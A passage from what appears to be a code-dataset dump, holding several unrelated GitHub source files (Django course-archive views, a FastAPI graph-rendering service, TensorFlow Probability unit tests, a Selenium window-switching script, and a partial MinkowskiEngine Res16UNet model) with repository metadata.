\"arc/index.html\", {\n \"school_list\": school_list,\n \"auth\": auth,\n \"recom\": rec_list,\n \"count\": cnt\n })\n\ndef school_view(request, abbrev):\n try:\n s = School.objects.get(abbr__iexact=abbrev)\n courses = Course.objects.filter(school=s, appr=True).order_by('code')\n form = CourseForm()\n return render(request, 'arc/school.html', {'sch': s, 'course_list': courses, 'form': form})\n except School.DoesNotExist:\n raise Http404(\"School not found\")\n\ndef course_view(request, cd):\n try:\n form = None\n if request.user is not None:\n form = ItrForm()\n c = Course.objects.get(code=cd)\n itrs = Itr.objects.filter(course__code=cd, appr=True).order_by('year', 'sem')\n return render(request, 'arc/course.html', {'crs': c, 'itr_list': itrs, 'form': form})\n except Course.DoesNotExist:\n raise Http404(\"Course not found\")\n\ndef itr_view(request, cd, yr, sea):\n try:\n s = REV_DICT_SEMS[sea.title()]\n i = Itr.objects.get(course__code = cd, year=yr, sem=s)\n items = Item.objects.filter(itr=i)\n comments = Comment.objects.filter(itr=i, vis=True)\n form = None\n form2 = CommentReportForm()\n form3 = ItemReportForm()\n form4 = None\n if request.user is not None:\n form = ItemForm()\n form4 = CommentForm()\n return render(request, 'arc/itr.html', {\n 'itr': i,\n 'item_list': items,\n 'comm_list': comments,\n 'form': form,\n 'report_form': form2,\n 'item_report_form': form3,\n 'comment_form': form4\n })\n except Exception as e:\n raise e\n # except Itr.DoesNotExist:\n # raise Http404('No such iteration was found')\n\n\n# def user_view(request, uid):\n# try:\n# u = User.objects.get(id = uid)\n# u2 = request.user\n# if request.method == 'POST':\n# if u2 is not None and u2.is_authenticated and u == u2:\n# form = ProfileForm(request.POST, instance=u.profile)\n# pro = form.save(commit=False)\n# pro.upd = True\n# pro.save()\n# return render(request, 'arc/user.html', {'user_page': u, 'form': form})\n# else:\n# return HttpResponse('You shouldn\\'t be here')\n# if request.user.is_authenticated:\n# if u == u2:\n# form = ProfileForm()\n# return render(request, 'arc/user.html', {'user_page': u, 'form': form})\n# form = UserReportForm()\n# return render(request, 'arc/user.html', {'user_page': u, 'report_form': form})\n# return render(request, 'arc/user.html', {'user_page': u})\n# except (User.DoesNotExist, ValueError):\n# # ValueError will occur when someone tries /u/asdf (since asdf cannot be parsed as\n# # an integer)\n# raise Http404('User not found')\n\ndef add_comment(request, cd, yr, sea):\n url = reverse('itr', args=[cd, yr, sea])\n if request.method == 'POST':\n form = CommentForm(request.POST)\n if form.is_valid():\n if request.user is not None:\n comm = form.save(commit=False)\n comm.user = request.user\n s = REV_DICT_SEMS[sea.title()]\n i = Itr.objects.get(course__code = cd, year=yr, sem=s)\n comm.itr = i\n comm.save()\n return redirect(url)\n return render(request, 'arc/itr.html', {'crs': c, 'itr': itr, 'success': True})\n else:\n return HttpResponse('User is none')\n\ndef delete_comment(request, cid):\n c = Comment.objects.get(id = cid)\n if request.user == c.user:\n c.vis = False\n c.save()\n return HttpResponse('
Comment successfully deleted
')\n\ndef add_item(request, cd, yr, sea):\n i = Itr.objects.get(course__code=cd, year=yr, sem=REV_DICT_SEMS[sea.title()])\n if request.method == 'POST':\n form = ItemForm(request.POST, request.FILES)\n if form.is_valid():\n if request.user is not None:\n item = form.save(commit=False)\n item.op = request.user\n item.itr = i\n item.save()\n return render(request, 'arc/add-item.html', {'itr': i, 'item': item, 'success': True})\n else:\n return HttpResponse('User is none')\n else:\n form = ItemForm()\n return render(request, 'arc/add-item.html', {'itr': i, 'form': form})\n\ndef add_itr(request, cd):\n c = Course.objects.get(code=cd)\n if request.method == 'POST':\n form = ItrForm(request.POST)\n if form.is_valid():\n if request.user is not None:\n itr = form.save(commit=False)\n itr.op = request.user\n itr.course = c\n try:\n i = Itr.objects.get(course=c, sem=itr.sem, year=itr.year)\n return render(request, 'arc/add-itr.html',\n {'exists': True, 'crs': c, 'itr': itr})\n except Itr.DoesNotExist:\n itr.save()\n return render(request, 'arc/add-itr.html', {'crs': c, 'itr': itr, 'success': True})\n else:\n return HttpResponse('User is none')\n else:\n form = ItrForm()\n return render(request, 'arc/add-itr.html', {'crs': c, 'form': form})\n\ndef add_crs(request, abbrev):\n s = School.objects.get(abbr=abbrev)\n if request.method == 'POST':\n form = CourseForm(request.POST)\n if form.is_valid():\n if request.user is not None:\n cd = form.cleaned_data['code'].lower()\n try:\n crs = Course.objects.get(code=cd)\n return render(request, 'arc/add-crs.html',\n {'exists': True, 'crs': crs})\n except Course.DoesNotExist:\n crs = Course()\n crs.code = form.cleaned_data['code'].lower()\n crs.name = form.cleaned_data['name']\n crs.op = request.user.profile\n crs.school = s\n crs.save()\n return render(request, 'arc/add-crs.html', {'crs': crs, 'success': True})\n else:\n return HttpResponse('User is none')\n else:\n form = CourseForm()\n return render(request, 'arc/add-crs.html', {'sch': s, 'form': form})\n\ndef file_view(request, source, fname):\n try:\n cnt = Count.objects.get(cnt_id=1)\n if source == 'self':\n cnt.own += 1\n elif source == 'recom':\n cnt.rec += 1\n cnt.save()\n i = Item.objects.get(fl=fname)\n if request.user.is_authenticated:\n update_recom(fname, request.user.id)\n return render(request, 'arc/file.html', {'item': i})\n except Item.DoesNotExist:\n raise Http404(\"File not found\")\n\ndef report_comment(request, cid):\n if request.method == 'POST':\n rep_form = CommentReportForm(request.POST)\n if rep_form.is_valid():\n if request.user is not None:\n try:\n c = Comment.objects.get(id=cid)\n rep = rep_form.save(commit=False)\n rep.user = request.user\n rep.comment = c\n rep.save()\n return HttpResponse('
Report submitted successfully. Thanks.
')\n except Comment.DoesNotExist:\n raise Http404('Comment Not Found')\n return HttpResponse('User is none')\n return HttpResponse('You shouldn\\'t be here.')\n\ndef report_item(request, iid):\n if request.method == 'POST':\n rep_form = ItemReportForm(request.POST)\n if rep_form.is_valid():\n if request.user is not None:\n try:\n i = Item.objects.get(id=iid)\n rep = rep_form.save(commit=False)\n rep.user = request.user\n rep.item = i\n rep.save()\n return HttpResponse('
Report submitted successfully. Thanks.
')\n except Item.DoesNotExist:\n raise Http404('File Not Found')\n return HttpResponse('User is none')\n return HttpResponse('You shouldn\\'t be here.')\n\ndef report_user(request, uid):\n if request.method == 'POST':\n rep_form = UserReportForm(request.POST)\n if rep_form.is_valid():\n if request.user is not None:\n try:\n u = User.objects.get(id=uid)\n rep = rep_form.save(commit=False)\n rep.user = request.user\n rep.target = u\n rep.save()\n return HttpResponse('
Report submitted successfully. Thanks.
')\n except User.DoesNotExist:\n raise Http404('User Not Found')\n return HttpResponse('User is none')\n return HttpResponse('You shouldn\\'t be here.')\n\ndef faq(request):\n return render(request, 'arc/faq.html')\n\ndef log_view(request):\n\n recent_uploads = Item.objects.all().order_by('-id')[:20]\n t2 = timezone.now()\n for item in recent_uploads:\n if item.time != None:\n t1 = item.time\n delta = t2 - t1\n item.when = readableDuration(delta.total_seconds())\n else:\n item.when = ''\n\n recent_comments = Comment.objects.all().order_by('-id')[:20]\n for comment in recent_comments:\n t1 = comment.posted\n t2 = timezone.now()\n delta = t2 - t1\n comment.when = readableDuration(delta.total_seconds())\n\n top_uploaders = Item.objects.values('op').annotate(models.Count('id')).order_by('-id__count')[:10]\n for i in range(len(top_uploaders)):\n top_uploaders[i]['pos'] = i+1\n top_uploaders[i]['op'] = User.objects.get(id=top_uploaders[i]['op'])\n\n uploads_this_month = Item.objects.filter(time__month = t2.month, time__year = t2.year)\n top_recent_uploaders = uploads_this_month.values('op').annotate(models.Count('id')).order_by('-id__count')[:3]\n for i in range(len(top_recent_uploaders)):\n top_recent_uploaders[i]['pos'] = i+1\n top_recent_uploaders[i]['op'] = User.objects.get(id=top_recent_uploaders[i]['op'])\n\n # set it to be None if the query set is empty, so that we can catch it in the template\n # is there a better way to do this?\n #if len(top_recent_uploaders) == 0:\n # top_recent_uploaders = None\n\n return render(request, 'arc/log.html', {\n 'recent_uploads': recent_uploads,\n 'recent_comments': recent_comments,\n 'top_uploaders': top_uploaders,\n 'top_recent_uploaders': top_recent_uploaders\n })\n\ndef error404(request, exception):\n return render(request, 'arc/404.html', {'exp': exception}, status=404)\n\ndef error500(request, exception):\n return render(request, 'arc/500.html', {'exp': exception}, status=500)\n","repo_name":"PeithonKing/niser_app_backend","sub_path":"arc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25305584820","text":"import asyncio\nimport functools\nimport io\nimport json\nimport time\nimport zlib\nfrom os import getenv\n\nimport uvicorn\nfrom cryptography.fernet import Fernet, InvalidToken\nfrom fastapi import FastAPI\nfrom matplotlib import rcParams, style\nfrom matplotlib.figure import Figure\nfrom starlette.responses import StreamingResponse\n\n# Matplotlib global styling\n\nstyle.use(\"seaborn-dark\")\n\nrcParams.update({\"font.size\": 13})\n\nfor param in [\"figure.facecolor\", \"axes.facecolor\", \"savefig.facecolor\"]:\n rcParams[param] = \"#2F3136\"\n\nfor param in [\"text.color\", \"axes.labelcolor\", \"xtick.color\", \"ytick.color\"]:\n rcParams[param] = \"1\"\n\n\napp = FastAPI()\n\nSECRET = getenv(\"SECRET\").encode()\n\nIMAGE_FORMAT = \"jpeg\"\n\n\ndef generate_graph(*, colours: list, y_values: dict, fig_size: tuple, amount: int):\n fig = Figure(figsize=fig_size)\n\n axis = fig.add_subplot(1, 1, 1)\n\n axis.set_xlabel(\"Tests\")\n\n axis.grid(color=\"#3A3C42\")\n\n x_values = range(0, amount, (amount // 100) + 1)\n\n for i, (label, values) in enumerate(y_values.items()):\n axis.plot(\n x_values,\n values,\n label=label,\n marker=\"o\",\n color=colours[i % len(colours)],\n )\n\n fig.legend(frameon=True)\n\n fig.tight_layout()\n\n buffer = io.BytesIO()\n\n fig.savefig(buffer, format=IMAGE_FORMAT)\n\n return buffer\n\n\n@functools.lru_cache()\ndef handle_input(raw_data):\n try:\n decrypted = Fernet(SECRET).decrypt(raw_data.encode())\n except InvalidToken:\n return\n\n data = json.loads(zlib.decompress(decrypted).decode())\n\n until = data.pop(\"until\", None)\n\n if until is None or until <= time.time():\n return\n\n return generate_graph(**data)\n\n\n@app.get(\"/score_graph\")\nasync def score_graph(raw_data: str):\n loop = asyncio.get_running_loop()\n\n args = functools.partial(handle_input, raw_data)\n\n buffer = await loop.run_in_executor(None, args)\n\n if buffer is None:\n return\n\n buffer.seek(0)\n\n return StreamingResponse(buffer, media_type=f\"image/{IMAGE_FORMAT}\")\n\n\nuvicorn.run(app, host=\"0.0.0.0\", port=8080)\n","repo_name":"wordpracticebot/image-cdn","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25545530133","text":"''' Unit tests for MAP and posterior variance estimation '''\nimport os\nfrom unittest import TestCase\nimport pytest\nimport pandas as pd\n\nimport tensorflow as tf\nimport tensorflow_probability as tfp\n\nfrom tests.data.load_data_csv import load_data_csv\nfrom tests.test_utils import reldif\nfrom bayes_mapvar.mapvar import mapvar\n\ntfd = tfp.distributions\ntfb = tfp.bijectors\n\nclass TestMapVar(TestCase):\n ''' Unit tests for MapVar estimation '''\n \n @classmethod\n def setUpClass(self): # pylint: disable=bad-classmethod-argument\n self.samp_data = load_data_csv(\"sim_ex.csv\")\n\n\n @pytest.mark.eager\n def test_mapvar_sim(self):\n \n dist_dict = {}\n dist_dict['beta'] = tfd.Normal(tf.ones(1,dtype=tf.float64),1)\n dist_dict['unconstrained_alpha'] = tfd.TransformedDistribution(\n tfd.Chi2(4*tf.ones(1,dtype=tf.float64)),tfb.Log())\n dist_dict['alpha'] = lambda unconstrained_alpha: \\\n tfd.Deterministic(loc=tfb.Log().inverse(unconstrained_alpha))\n dist_dict['y'] = lambda alpha, beta: \\\n tfd.Normal(loc = alpha + beta*self.samp_data['x'],scale=tf.ones(1,dtype=tf.float64))\n \n m0 = mapvar(dist_dict,\n self.samp_data,\n observed_varnames=['y'], skip_var=False)\n\n assert reldif(m0[0]['unconstrained_alpha'].numpy()[0],\n 0.99147004) < 1e-4, \"map and posterior variance estimation failed\"\n\n assert reldif(m0[0]['beta'].numpy()[0],1.51747775) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n assert reldif(m0[5].loc['alpha','alpha'], \\\n 0.009973651034083814) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n \n assert reldif(m0[4].loc['alpha','unconstrained_alpha'], \\\n 2.695193593504064) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n dist_dict['unconstrained_beta'] = dist_dict['beta']\n dist_dict['beta'] = lambda unconstrained_beta: \\\n tfd.Deterministic(loc=unconstrained_beta)\n\n m1 = mapvar(dist_dict, self.samp_data,\n observed_varnames=['y'], skip_var=False)\n\n assert reldif(m1[0]['unconstrained_alpha'].numpy()[0], \\\n 0.99147004) < 1e-4, \"map and posterior variance estimation failed\"\n\n assert reldif(m1[0]['unconstrained_beta'].numpy()[0], \\\n 1.51747775) < 1e-4, \"map and posterior variance estimation failed\"\n\n assert reldif(m1[5].loc['alpha','alpha'], \\\n 0.009973651034083814) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n assert reldif(m1[5].loc['beta','beta'], \\\n 0.009761802606078345) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n assert reldif(m1[5].loc['beta','alpha'], \\\n 0.00010401063160407793) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n\n assert reldif(m1[4].loc['alpha','unconstrained_alpha'], \\\n 2.695193593504064) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n\n constraints = {}\n constraints['beta'] = lambda unconstrained_beta: unconstrained_beta\n constraints['alpha'] = lambda unconstrained_alpha: \\\n tfb.Log().inverse(unconstrained_alpha)\n\n del dist_dict['alpha']\n del dist_dict['beta']\n\n m2 = mapvar(dist_dict, self.samp_data,\n observed_varnames=['y'],\n constrained_fcns=constraints, skip_var=False)\n\n assert reldif(m2[0]['unconstrained_alpha'].numpy()[0], \\\n 0.99147004) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n assert reldif(m2[0]['unconstrained_beta'].numpy()[0], \\\n 1.51747775) < 1e-4, \"map and posterior variance estimation failed\"\n\n assert reldif(m2[5].loc['alpha','alpha'], \\\n 0.009973651034083814) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n assert reldif(m2[5].loc['beta','beta'], \\\n 0.009761802606078345) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n assert reldif(m2[5].loc['beta','alpha'], \\\n 0.00010401063160407793) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n assert reldif(m2[4].loc['alpha','unconstrained_alpha'], \\\n 2.695193593504064) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n\n assert reldif(m2[3].loc['unconstrained_beta', \\\n 'unconstrained_alpha'],-2.879597369813636) < 1e-4, \\\n \"map and posterior variance estimation failed\"\n","repo_name":"cdlindsey/bayes_mapvar","sub_path":"tests/unit/test_mapvar.py","file_name":"test_mapvar.py","file_ext":"py","file_size_in_byte":4607,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"26628521435","text":"from selenium import webdriver\r\nfrom time import sleep\r\n\r\ndriver = webdriver.Firefox()\r\ndriver.get('http://web2.qq.com/')\r\ndriver.implicitly_wait(5)\r\njubin1 = driver.current_window_handle\r\nprint(jubin1)\r\n# biaodan = driver.find_element_by_xpath('//div[@class_name = \"login-pane show\"]/ifrme')\r\n# driver.switch_to.frame('biaodan')\r\n# sleep(3)\r\ndriver.switch_to.frame('ptlogin')\r\ndriver.find_element_by_link_text('QQ手机版').click()\r\njubinAll= driver.window_handles\r\nprint(jubinAll)\r\n\r\n\r\n# for i in range(0,3):\r\ndriver.switch_to.window(jubinAll[1])\r\n # sleep(3)\r\n # driver.switch_to.window(jubinAll[1])\r\ndriver.find_element_by_link_text('功能介绍').click()\r\nsleep(3)\r\n\r\n\r\ndriver.quit()","repo_name":"LindomHu/Python-Study_90","sub_path":"Lindom_project/practle128/charecter/testcases/qianHuanWindow_h.py","file_name":"qianHuanWindow_h.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71497583894","text":"from models.model import Model, NetworkType\nfrom models.modules.common import ConvType, NormType, conv, conv_tr, get_norm, get_nonlinearity_fn\nfrom models.modules.resnet_block import BasicBlock, Bottleneck, SingleConv, SingleChannelConv\nfrom models.modules.tr_block import *\n\nimport torch\nfrom torch import nn\nimport numpy as np\nimport MinkowskiEngine.MinkowskiOps as me\n\nclass mySequential(nn.Sequential):\n def forward(self, inputs, *args):\n for module in self._modules.values():\n if len(args) == 1:\n pass\n # if type(inputs) == tuple:\n # inputs = module(*inputs)\n # else:\n inputs = module(inputs, *args)\n return inputs\n\n\nclass ResNetBase(Model):\n BLOCK = None\n LAYERS = ()\n INIT_DIM = 64\n PLANES = (64, 128, 256, 512)\n OUT_PIXEL_DIST = 32\n HAS_LAST_BLOCK = False\n CONV_TYPE = ConvType.HYPERCUBE\n\n def __init__(self, in_channels, out_channels, config, D=3, **kwargs):\n assert self.BLOCK is not None\n assert self.OUT_PIXEL_DIST > 0\n\n super(ResNetBase, self).__init__(in_channels, out_channels, config, D, **kwargs)\n\n self.network_initialization(in_channels, out_channels, config, D)\n self.weight_initialization()\n\n def network_initialization(self, in_channels, out_channels, config, D):\n\n def space_n_time_m(n, m):\n return n if D == 3 else [n, n, n, m]\n\n if D == 4:\n self.OUT_PIXEL_DIST = space_n_time_m(self.OUT_PIXEL_DIST, 1)\n\n dilations = config.dilations\n bn_momentum = config.bn_momentum\n self.inplanes = self.INIT_DIM\n self.conv1 = conv(\n in_channels,\n self.inplanes,\n kernel_size=space_n_time_m(config.conv1_kernel_size, 1),\n stride=1,\n D=D)\n\n self.bn1 = get_norm(NormType.BATCH_NORM, self.inplanes, D=self.D, bn_momentum=bn_momentum)\n self.relu = ME.MinkowskiReLU(inplace=True)\n self.pool = sum_pool(kernel_size=space_n_time_m(2, 1), stride=space_n_time_m(2, 1), D=D)\n\n self.layer1 = self._make_layer(\n self.BLOCK,\n self.PLANES[0],\n self.LAYERS[0],\n stride=space_n_time_m(2, 1),\n dilation=space_n_time_m(dilations[0], 1))\n self.layer2 = self._make_layer(\n self.BLOCK,\n self.PLANES[1],\n self.LAYERS[1],\n stride=space_n_time_m(2, 1),\n dilation=space_n_time_m(dilations[1], 1))\n self.layer3 = self._make_layer(\n self.BLOCK,\n self.PLANES[2],\n self.LAYERS[2],\n stride=space_n_time_m(2, 1),\n dilation=space_n_time_m(dilations[2], 1))\n self.layer4 = self._make_layer(\n self.BLOCK,\n self.PLANES[3],\n self.LAYERS[3],\n stride=space_n_time_m(2, 1),\n dilation=space_n_time_m(dilations[3], 1))\n\n if self.NETWORK_TYPE == NetworkType.CLASSIFICATION:\n self.glob_avg = ME.MinkowskiGlobalPooling(dimension=D)\n if self.HAS_LAST_BLOCK:\n self.final1 = nn.Linear(self.inplanes, self.inplanes, bias=False)\n self.bnfinal1 = nn.BatchNorm1d(self.inplanes)\n\n self.final2 = nn.Linear(self.inplanes, self.inplanes, bias=False)\n self.bnfinal2 = nn.BatchNorm1d(self.inplanes)\n\n self.final = nn.Linear(self.inplanes, out_channels, bias=True)\n else:\n self.final = conv(\n self.PLANES[3] * self.BLOCK.expansion, out_channels, kernel_size=1, bias=True, D=D)\n\n def weight_initialization(self):\n for m in self.modules():\n if isinstance(m, nn.BatchNorm1d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n def _make_layer(self,\n block,\n planes,\n blocks,\n stride=1,\n dilation=1,\n norm_type=NormType.BATCH_NORM,\n nonlinearity_type='ReLU',\n bn_momentum=0.1):\n downsample = None\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv(\n self.inplanes,\n planes * block.expansion,\n kernel_size=1,\n stride=stride,\n bias=False,\n D=self.D),\n get_norm(norm_type, planes * block.expansion, D=self.D, bn_momentum=bn_momentum),\n )\n layers = []\n layers.append(\n block(\n self.inplanes,\n planes,\n stride=stride,\n dilation=dilation,\n downsample=downsample,\n conv_type=self.CONV_TYPE,\n nonlinearity_type=nonlinearity_type,\n D=self.D))\n self.inplanes = planes * block.expansion \n for i in range(1, blocks):\n layers.append(\n block(\n self.inplanes,\n planes,\n stride=1,\n dilation=dilation,\n conv_type=self.CONV_TYPE,\n nonlinearity_type=nonlinearity_type,\n D=self.D))\n\n return mySequential(*layers)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n x = self.pool(x)\n\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n\n if self.NETWORK_TYPE == NetworkType.CLASSIFICATION:\n if self.HAS_LAST_BLOCK:\n res = self.glob_avg(x)\n x = self.final1(res)\n x = self.bnfinal1(x)\n x = self.relu(x)\n\n x = self.final2(x)\n x = self.bnfinal2(x)\n x += res\n x = self.relu(x)\n else:\n x = self.glob_avg(x)\n\n x = self.final(x)\n return x\n\n\n\nclass Res16UNetBase(ResNetBase):\n BLOCK = None\n PLANES = (32, 64, 128, 256, 256, 256, 256, 256)\n DILATIONS = (1, 1, 1, 1, 1, 1, 1, 1)\n LAYERS = (2, 2, 2, 2, 2, 2, 2, 2)\n INIT_DIM = 32\n OUT_PIXEL_DIST = 1\n NORM_TYPE = NormType.BATCH_NORM\n NON_BLOCK_CONV_TYPE = ConvType.SPATIAL_HYPERCUBE\n # CONV_TYPE = ConvType.SPATIAL_HYPERCUBE_TEMPORAL_HYPERCROSS\n CONV_TYPE = ConvType.SPATIAL_HYPERCUBE\n\n # To use the model, must call initialize_coords before forward pass.\n # Once data is processed, call clear to reset the model before calling initialize_coords\n def __init__(self, in_channels, out_channels, config, D=3, **kwargs):\n super(Res16UNetBase, self).__init__(in_channels, out_channels, config, D)\n\n def network_initialization(self, in_channels, out_channels, config, D):\n\n if not isinstance(self.BLOCK, list): # if single type\n self.BLOCK = [self.BLOCK]*len(self.PLANES)\n # print('IN CHANNEL inside the model {}'.format(in_channels))\n\n # Setup net_metadata\n dilations = self.DILATIONS\n bn_momentum = config.bn_momentum\n\n block_noexpansion = True\n\n def space_n_time_m(n, m):\n return n if D == 3 else [n, n, n, m]\n\n if D == 4:\n self.OUT_PIXEL_DIST = space_n_time_m(self.OUT_PIXEL_DIST, 1)\n\n if config.xyz_input is not None:\n if config.xyz_input:\n in_channels = in_channels + 3\n\n if config.dataset == 'SemanticKITTI':\n in_channels = 4\n if config.dataset == 'S3DIS':\n in_channels = 9\n\n # Output of the first conv concated to conv6\n self.inplanes = self.INIT_DIM\n self.conv0p1s1 = conv(\n in_channels,\n self.inplanes,\n kernel_size=space_n_time_m(config.conv1_kernel_size, 1),\n stride=1,\n dilation=1,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n\n self.bn0 = get_norm(self.NORM_TYPE, self.inplanes, D, bn_momentum=bn_momentum)\n\n self.conv1p1s2 = conv(\n self.inplanes,\n self.inplanes if not block_noexpansion else self.PLANES[0],\n kernel_size=space_n_time_m(2, 1),\n stride=space_n_time_m(2, 1),\n dilation=1,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n self.inplanes = self.inplanes if not block_noexpansion else self.PLANES[0]\n self.bn1 = get_norm(self.NORM_TYPE, self.inplanes, D, bn_momentum=bn_momentum)\n\n self.block1 = self._make_layer(\n self.BLOCK[0],\n self.PLANES[0],\n self.LAYERS[0],\n dilation=dilations[0],\n norm_type=self.NORM_TYPE,\n nonlinearity_type=self.config.nonlinearity,\n bn_momentum=bn_momentum)\n\n self.conv2p2s2 = conv(\n self.inplanes,\n self.inplanes if not block_noexpansion else self.PLANES[1],\n kernel_size=space_n_time_m(2, 1),\n stride=space_n_time_m(2, 1),\n dilation=1,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n self.inplanes = self.inplanes if not block_noexpansion else self.PLANES[1]\n self.bn2 = get_norm(self.NORM_TYPE, self.inplanes, D, bn_momentum=bn_momentum)\n self.block2 = self._make_layer(\n self.BLOCK[1],\n self.PLANES[1],\n self.LAYERS[1],\n dilation=dilations[1],\n norm_type=self.NORM_TYPE,\n nonlinearity_type=self.config.nonlinearity,\n bn_momentum=bn_momentum)\n\n self.conv3p4s2 = conv(\n self.inplanes,\n self.inplanes if not block_noexpansion else self.PLANES[2],\n kernel_size=space_n_time_m(2, 1),\n stride=space_n_time_m(2, 1),\n dilation=1,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n self.inplanes = self.inplanes if not block_noexpansion else self.PLANES[2]\n self.bn3 = get_norm(self.NORM_TYPE, self.inplanes, D, bn_momentum=bn_momentum)\n self.block3 = self._make_layer(\n self.BLOCK[2],\n self.PLANES[2],\n self.LAYERS[2],\n dilation=dilations[2],\n norm_type=self.NORM_TYPE,\n nonlinearity_type=self.config.nonlinearity,\n bn_momentum=bn_momentum)\n\n self.conv4p8s2 = conv(\n self.inplanes,\n self.inplanes if not block_noexpansion else self.PLANES[3],\n kernel_size=space_n_time_m(2, 1),\n stride=space_n_time_m(2, 1),\n dilation=1,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n self.inplanes = self.inplanes if not block_noexpansion else self.PLANES[3]\n self.bn4 = get_norm(self.NORM_TYPE, self.inplanes, D, bn_momentum=bn_momentum)\n self.block4 = self._make_layer(\n self.BLOCK[3],\n self.PLANES[3],\n self.LAYERS[3],\n dilation=dilations[3],\n norm_type=self.NORM_TYPE,\n nonlinearity_type=self.config.nonlinearity,\n bn_momentum=bn_momentum)\n self.convtr4p16s2 = conv_tr(\n self.inplanes,\n self.PLANES[4],\n kernel_size=space_n_time_m(2, 1),\n upsample_stride=space_n_time_m(2, 1),\n dilation=1,\n bias=False,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n self.bntr4 = get_norm(self.NORM_TYPE, self.PLANES[4], D, bn_momentum=bn_momentum)\n\n self.inplanes = self.PLANES[4] + self.PLANES[2] * self.BLOCK[4].expansion\n self.block5 = self._make_layer(\n self.BLOCK[4],\n self.PLANES[4],\n self.LAYERS[4],\n dilation=dilations[4],\n norm_type=self.NORM_TYPE,\n nonlinearity_type=self.config.nonlinearity,\n bn_momentum=bn_momentum)\n self.convtr5p8s2 = conv_tr(\n self.inplanes,\n self.PLANES[5],\n kernel_size=space_n_time_m(2, 1),\n upsample_stride=space_n_time_m(2, 1),\n dilation=1,\n bias=False,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n self.bntr5 = get_norm(self.NORM_TYPE, self.PLANES[5], D, bn_momentum=bn_momentum)\n\n self.inplanes = self.PLANES[5] + self.PLANES[1] * self.BLOCK[5].expansion\n self.block6 = self._make_layer(\n self.BLOCK[5],\n self.PLANES[5],\n self.LAYERS[5],\n dilation=dilations[5],\n norm_type=self.NORM_TYPE,\n nonlinearity_type=self.config.nonlinearity,\n bn_momentum=bn_momentum)\n self.convtr6p4s2 = conv_tr(\n self.inplanes,\n self.PLANES[6],\n kernel_size=space_n_time_m(2, 1),\n upsample_stride=space_n_time_m(2, 1),\n dilation=1,\n bias=False,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n self.bntr6 = get_norm(self.NORM_TYPE, self.PLANES[6], D, bn_momentum=bn_momentum)\n\n self.inplanes = self.PLANES[6] + self.PLANES[0] * self.BLOCK[6].expansion\n self.block7 = self._make_layer(\n self.BLOCK[6],\n self.PLANES[6],\n self.LAYERS[6],\n dilation=dilations[6],\n norm_type=self.NORM_TYPE,\n nonlinearity_type=self.config.nonlinearity,\n bn_momentum=bn_momentum)\n self.convtr7p2s2 = conv_tr(\n self.inplanes,\n self.PLANES[7],\n kernel_size=space_n_time_m(2, 1),\n upsample_stride=space_n_time_m(2, 1),\n dilation=1,\n bias=False,\n conv_type=self.NON_BLOCK_CONV_TYPE,\n D=D)\n self.bntr7 = get_norm(self.NORM_TYPE, self.PLANES[7], D, bn_momentum=bn_momentum)\n\n self.inplanes = self.PLANES[7] + self.INIT_DIM\n self.block8 = self._make_layer(\n self.BLOCK[7],\n self.PLANES[7],\n self.LAYERS[7],\n dilation=dilations[7],\n norm_type=self.NORM_TYPE,\n nonlinearity_type=self.config.nonlinearity,\n bn_momentum=bn_momentum)\n\n self.final = conv(self.PLANES[7], out_channels, kernel_size=1, stride=1, bias=True, D=D)\n\n if config.enable_point_branch:\n self.point_transform_mlp = nn.ModuleList([\n nn.Sequential(\n nn.Linear(self.INIT_DIM, self.PLANES[3]),\n # nn.BatchNorm1d(self.PLANES[3]),\n nn.ReLU(True)\n ),\n nn.Sequential(\n nn.Linear(self.PLANES[3], self.PLANES[5]),\n #nn.BatchNorm1d(self.PLANES[5]),\n nn.ReLU(True)\n ),\n nn.Sequential(\n nn.Linear(self.PLANES[5], self.PLANES[7]),\n # nn.BatchNorm1d(self.PLANES[7]),\n nn.ReLU(True)\n )\n ])\n self.downsample16x = nn.Sequential(\n ME.MinkowskiMaxPooling(kernel_size=2, stride=2, dimension=3),\n ME.MinkowskiMaxPooling(kernel_size=2, stride=2, dimension=3),\n ME.MinkowskiMaxPooling(kernel_size=2, stride=2, dimension=3),\n ME.MinkowskiMaxPooling(kernel_size=2, stride=2, dimension=3)\n )\n self.downsample4x = nn.Sequential(\n ME.MinkowskiMaxPooling(kernel_size=2, stride=2, dimension=3),\n ME.MinkowskiMaxPooling(kernel_size=2, stride=2, dimension=3)\n )\n self.dropout = nn.Dropout(0.1, True)\n # self.dropout = nn.Dropout(0.3, True)\n self.interpolate = ME.MinkowskiInterpolation(return_kernel_map=False, return_weights=False)\n \n\n def 